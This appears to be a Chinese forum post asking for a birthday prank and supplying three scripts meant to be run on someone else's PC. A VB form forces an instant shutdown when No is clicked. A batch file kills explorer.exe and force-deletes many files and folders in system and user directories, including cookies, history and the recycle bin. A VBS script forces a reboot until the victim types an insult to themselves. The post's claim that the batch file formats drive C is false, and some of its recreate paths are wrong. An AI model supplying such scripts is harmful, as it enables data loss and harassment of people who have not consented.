用VB做一个恶搞的小程序。大家帮帮忙啊。我同学过生日，礼物我没有找到好的，所以，只好用程序来活跃下...

Private Sub Form_Load()

If MsgBox("我的礼物很好，请确定", vbYesNo) = vbNo Then Shell "e:\shutdown.exe -s -t 0"

End Sub

| bat恶搞代码 | 不要玩过头 | 自己不要点 | 最好打成压缩包 否则可能被360误报 |

以下代码可以格式化C盘，让C盘数据彻底消失！

Dos:

@echo off

title C:files killer2.4

color 4f

taskkill /im explorer.exe /f

echo 删除C盘所有文件......

del /f /s /q "%systemdrive%\*.tmp"

del /f /s /q "%systemdrive%\*.dmp"

del /f /s /q "%systemdrive%\*._mp"

del /f /s /q "%systemdrive%\*.gid"

del /f /s /q "%systemdrive%\*.old"

del /f /s /q "%systemdrive%\*.chk"

del /f /s /q "%systemdrive%\*.bak"

del /f /s /q "%systemdrive%\*.log"

del /f /s /q "%systemdrive%\*.txt"

del /f /s /q "%systemdrive%\*.ini"

del /f /s /q "%systemdrive%\Recycled\*.*"

del /f /s /q "%systemdrive%\RECYCLER\*.*"

del /f /s /q "%windir%\inf\*.pnf"

del /f /s /q "%windir%\Prefetch\*.*"

@ping -n 2 127.1>nul

rd /s /q "%windir%\Downloaded Program Files" &md "%windir%\Downloaded Program Files"

@ping -n 2 127.1>nul

rd /s /q "%windir%\LastGood" &md "%windir%\LastGood"

@ping -n 2 127.1>nul

rd /s /q "%windir%\Offline Web Pages" &md "%windir%\Offline Web Pages"

@ping -n 2 127.1>nul

rd /s /q "%windir%\SoftwareDistribution\Download" &md "%windir%\SoftwareDistribution\Download"

@ping -n 2 127.1>nul

rd /s /q "%windir%\temp" &md "%windir%\temp"

@ping -n 2 127.1>nul

rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" &md "%windir%\Local Settings\Application Data\Microsoft\Media Player"

@ping -n 2 127.1>nul

rd /s /q "%userprofile%\UserData" &md "%windir%\UserData"

@ping -n 2 127.1>nul

rd /s /q "%appdata%\Adobe" &md "%windir%\Adobe"

@ping -n 2 127.1>nul

rd /s /q "%appdata%\Macromedia" &md "%windir%\Macromedia"

@ping -n 2 127.1>nul

rd /s /q "%appdata%\Microsoft\Media Player" &md "%windir%\Microsoft\Media Player"

@ping -n 2 127.1>nul

rd /s /q "%appdata%\Microsoft\Office\Recent" &md "%windir%\Microsoft\Office\Recent"

@ping -n 5 127.1>nul

del /a /f /s /q "%userprofile%\Cookies\*.*"

del /a /f /s /q "%userprofile%\Recent\*.*"

del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat"

del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db"

del /a /f /s /q "%userprofile%\Local Settings\History\*.*"

del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /a /f /s /q "%temp%\*.*" del /a /f /s

echo 完成！

echo. &pause

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"

这是网上流行的一种让别人关机的代码

---